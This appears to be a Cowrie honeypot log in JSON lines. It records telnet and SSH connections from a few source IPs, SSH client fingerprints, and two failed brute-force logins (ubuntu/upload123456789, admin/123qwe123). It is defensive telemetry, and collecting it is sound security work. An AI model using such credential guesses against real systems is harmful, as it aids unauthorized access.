{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:05.550297Z","src_ip":"156.232.13.218","session":"cd35422e61b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:05.626588Z","src_ip":"156.232.13.218","session":"cd35422e61b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"upload123456789","message":"login attempt [ubuntu/upload123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:05.957135Z","src_ip":"156.232.13.218","session":"cd35422e61b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":44574,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b79bdad84b7","protocol":"telnet","message":"New connection: 65.60.27.33:44574 (10.17.0.5:23) [session: 0b79bdad84b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:06.164820Z"}
{"eventid":"cowrie.session.closed","duration":33.71290946006775,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:06.332919Z","src_ip":"62.210.97.77","session":"942163647f24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:07.034268Z","src_ip":"156.232.13.218","session":"cd35422e61b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.579325914382935,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:07.240873Z","src_ip":"65.60.27.33","session":"83e310fa4533","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.70150375366211,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:08.255128Z","src_ip":"62.210.97.77","session":"9a8ad8b96e2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.14905834197998,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:08.358771Z","src_ip":"62.210.97.77","session":"3298575bd299","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.3415720462799072,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:08.396654Z","src_ip":"65.60.27.33","session":"80d6c8788eb1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":41716,"dst_ip":"10.17.0.5","dst_port":23,"session":"775c1af57530","protocol":"telnet","message":"New connection: 38.54.119.93:41716 (10.17.0.5:23) [session: 775c1af57530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:08.738798Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45340,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d15d402657b","protocol":"telnet","message":"New connection: 62.210.97.77:45340 (10.17.0.5:23) [session: 7d15d402657b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:09.923685Z"}
{"eventid":"cowrie.session.closed","duration":7.937856912612915,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:10.010565Z","src_ip":"134.209.8.29","session":"110bfed03c8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45346,"dst_ip":"10.17.0.5","dst_port":23,"session":"1221f094a967","protocol":"telnet","message":"New connection: 62.210.97.77:45346 (10.17.0.5:23) [session: 1221f094a967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:12.311921Z"}
{"eventid":"cowrie.session.closed","duration":51.9819130897522,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:12.637670Z","src_ip":"134.209.8.29","session":"0f197ef50433","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.55354356765747,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:12.679601Z","src_ip":"62.210.97.77","session":"37e3a51d4d79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":36946,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f656996c751","protocol":"telnet","message":"New connection: 134.209.8.29:36946 (159.203.135.109:23) [session: 4f656996c751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:14.549582Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45350,"dst_ip":"10.17.0.5","dst_port":23,"session":"28f6c7ec2da6","protocol":"telnet","message":"New connection: 62.210.97.77:45350 (10.17.0.5:23) [session: 28f6c7ec2da6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:15.205755Z"}
{"eventid":"cowrie.session.closed","duration":6.753443717956543,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:15.492196Z","src_ip":"38.54.119.93","session":"775c1af57530","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":36954,"dst_ip":"159.203.135.109","dst_port":23,"session":"c21e45816607","protocol":"telnet","message":"New connection: 134.209.8.29:36954 (159.203.135.109:23) [session: c21e45816607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:16.739716Z"}
{"eventid":"cowrie.session.closed","duration":44.93198084831238,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:16.773133Z","src_ip":"65.60.27.33","session":"54119d3f2b3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45358,"dst_ip":"10.17.0.5","dst_port":23,"session":"39fd8dbd3add","protocol":"telnet","message":"New connection: 62.210.97.77:45358 (10.17.0.5:23) [session: 39fd8dbd3add]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:17.231941Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":55404,"dst_ip":"10.17.0.5","dst_port":23,"session":"140292b3b86d","protocol":"telnet","message":"New connection: 65.60.27.33:55404 (10.17.0.5:23) [session: 140292b3b86d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:17.252126Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":58762,"dst_ip":"10.17.0.5","dst_port":23,"session":"05acbb78e23c","protocol":"telnet","message":"New connection: 65.60.27.33:58762 (10.17.0.5:23) [session: 05acbb78e23c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:19.249631Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59914,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4e8f5a8d919","protocol":"telnet","message":"New connection: 62.210.97.77:59914 (10.17.0.5:23) [session: a4e8f5a8d919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:20.565725Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59930,"dst_ip":"10.17.0.5","dst_port":23,"session":"50b3b8b2fac2","protocol":"telnet","message":"New connection: 62.210.97.77:59930 (10.17.0.5:23) [session: 50b3b8b2fac2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:22.496516Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59954,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6da1173872b","protocol":"telnet","message":"New connection: 62.210.97.77:59954 (10.17.0.5:23) [session: f6da1173872b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:23.931109Z"}
{"eventid":"cowrie.session.closed","duration":7.325027704238892,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:24.064609Z","src_ip":"134.209.8.29","session":"c21e45816607","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59942,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f12ea78440c","protocol":"telnet","message":"New connection: 62.210.97.77:59942 (10.17.0.5:23) [session: 1f12ea78440c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:24.844515Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59958,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ea5864108be","protocol":"telnet","message":"New connection: 62.210.97.77:59958 (10.17.0.5:23) [session: 6ea5864108be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:25.582436Z"}
{"eventid":"cowrie.session.closed","duration":41.082284688949585,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:28.468714Z","src_ip":"65.60.27.33","session":"f81c7de74491","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.20017218589783,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:29.411976Z","src_ip":"62.210.97.77","session":"7a5c6e8a5a38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.655067920684814,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:30.488428Z","src_ip":"62.210.97.77","session":"47374aa4f832","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":46140,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f840d3a7461","protocol":"telnet","message":"New connection: 65.60.27.33:46140 (10.17.0.5:23) [session: 6f840d3a7461]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:32.763782Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":47270,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd5d2c83d15a","protocol":"telnet","message":"New connection: 65.60.27.33:47270 (10.17.0.5:23) [session: fd5d2c83d15a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:33.806426Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51032,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb820f65f6b5","protocol":"telnet","message":"New connection: 62.210.97.77:51032 (10.17.0.5:23) [session: fb820f65f6b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:33.952566Z"}
{"eventid":"cowrie.session.closed","duration":37.01979899406433,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:34.288600Z","src_ip":"62.210.97.77","session":"bcb16e36bcd4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51042,"dst_ip":"10.17.0.5","dst_port":23,"session":"fce320c57f21","protocol":"telnet","message":"New connection: 62.210.97.77:51042 (10.17.0.5:23) [session: fce320c57f21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:35.405805Z"}
{"eventid":"cowrie.session.closed","duration":37.417826652526855,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:36.966818Z","src_ip":"165.232.131.181","session":"ae957faf47f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.840917348861694,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:37.664633Z","src_ip":"65.60.27.33","session":"9e3090e93b11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.60059070587158,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:38.182914Z","src_ip":"65.60.27.33","session":"b90cd1d20550","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":33462,"dst_ip":"10.17.0.5","dst_port":23,"session":"17146401e2d4","protocol":"telnet","message":"New connection: 38.54.119.93:33462 (10.17.0.5:23) [session: 17146401e2d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:38.306782Z"}
{"eventid":"cowrie.session.closed","duration":38.53517460823059,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:39.172476Z","src_ip":"165.232.131.181","session":"102faeab08f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60104,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c14711123a0","protocol":"telnet","message":"New connection: 62.210.97.77:60104 (10.17.0.5:23) [session: 3c14711123a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:39.263311Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51052,"dst_ip":"10.17.0.5","dst_port":23,"session":"94ff8f7d5818","protocol":"telnet","message":"New connection: 62.210.97.77:51052 (10.17.0.5:23) [session: 94ff8f7d5818]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:39.468470Z"}
{"eventid":"cowrie.session.closed","duration":35.47364950180054,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:39.775066Z","src_ip":"62.210.97.77","session":"c0ccb0a50484","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60112,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3c17dca16ec","protocol":"telnet","message":"New connection: 62.210.97.77:60112 (10.17.0.5:23) [session: f3c17dca16ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:40.003930Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60122,"dst_ip":"10.17.0.5","dst_port":23,"session":"63212a34a5ff","protocol":"telnet","message":"New connection: 62.210.97.77:60122 (10.17.0.5:23) [session: 63212a34a5ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:41.614632Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60124,"dst_ip":"10.17.0.5","dst_port":23,"session":"39b6ca70e59d","protocol":"telnet","message":"New connection: 62.210.97.77:60124 (10.17.0.5:23) [session: 39b6ca70e59d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:41.812931Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60138,"dst_ip":"10.17.0.5","dst_port":23,"session":"d211967a6b9f","protocol":"telnet","message":"New connection: 62.210.97.77:60138 (10.17.0.5:23) [session: d211967a6b9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:42.463553Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":39748,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a762781f33a","protocol":"telnet","message":"New connection: 165.232.131.181:39748 (10.17.0.5:23) [session: 4a762781f33a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:42.849927Z"}
{"eventid":"cowrie.session.closed","duration":30.865224838256836,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:43.177041Z","src_ip":"62.210.97.77","session":"1221f094a967","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.301058292388916,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:45.224645Z","src_ip":"62.210.97.77","session":"7d15d402657b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60154,"dst_ip":"10.17.0.5","dst_port":23,"session":"96d05343e235","protocol":"telnet","message":"New connection: 62.210.97.77:60154 (10.17.0.5:23) [session: 96d05343e235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:45.569785Z"}
{"eventid":"cowrie.session.closed","duration":39.62418603897095,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:45.788746Z","src_ip":"65.60.27.33","session":"0b79bdad84b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00124979019165,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:46.028529Z","src_ip":"134.209.8.29","session":"9ed4ffd45b6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60164,"dst_ip":"10.17.0.5","dst_port":23,"session":"356f66b375ec","protocol":"telnet","message":"New connection: 62.210.97.77:60164 (10.17.0.5:23) [session: 356f66b375ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:46.124327Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60172,"dst_ip":"10.17.0.5","dst_port":23,"session":"38d4dafa5738","protocol":"telnet","message":"New connection: 62.210.97.77:60172 (10.17.0.5:23) [session: 38d4dafa5738]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:47.277469Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60176,"dst_ip":"10.17.0.5","dst_port":23,"session":"c333e735851a","protocol":"telnet","message":"New connection: 62.210.97.77:60176 (10.17.0.5:23) [session: c333e735851a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:47.284311Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60182,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e702f3fddfb","protocol":"telnet","message":"New connection: 62.210.97.77:60182 (10.17.0.5:23) [session: 9e702f3fddfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:48.168925Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60196,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a0ec32aed90","protocol":"telnet","message":"New connection: 62.210.97.77:60196 (10.17.0.5:23) [session: 5a0ec32aed90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:48.511270Z"}
{"eventid":"cowrie.session.closed","duration":33.35879373550415,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:48.564428Z","src_ip":"62.210.97.77","session":"28f6c7ec2da6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43380,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a42437a87c2","protocol":"telnet","message":"New connection: 62.210.97.77:43380 (10.17.0.5:23) [session: 5a42437a87c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:49.768844Z"}
{"eventid":"cowrie.session.closed","duration":35.535762786865234,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:52.787792Z","src_ip":"65.60.27.33","session":"140292b3b86d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43394,"dst_ip":"10.17.0.5","dst_port":23,"session":"605ec399aa0a","protocol":"telnet","message":"New connection: 62.210.97.77:43394 (10.17.0.5:23) [session: 605ec399aa0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:54.371885Z"}
{"eventid":"cowrie.session.closed","duration":37.16213130950928,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:54.393937Z","src_ip":"62.210.97.77","session":"39fd8dbd3add","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"156.232.13.218","src_port":60794,"dst_ip":"10.17.0.5","dst_port":22,"session":"e73338f38349","protocol":"ssh","message":"New connection: 156.232.13.218:60794 (10.17.0.5:22) [session: e73338f38349]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:54.936102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:54.941276Z","src_ip":"156.232.13.218","session":"e73338f38349","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:55.016352Z","src_ip":"156.232.13.218","session":"e73338f38349","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123qwe123","message":"login attempt [admin/123qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:55.330758Z","src_ip":"156.232.13.218","session":"e73338f38349","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43402,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cc43d974735","protocol":"telnet","message":"New connection: 62.210.97.77:43402 (10.17.0.5:23) [session: 7cc43d974735]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:55.567454Z"}
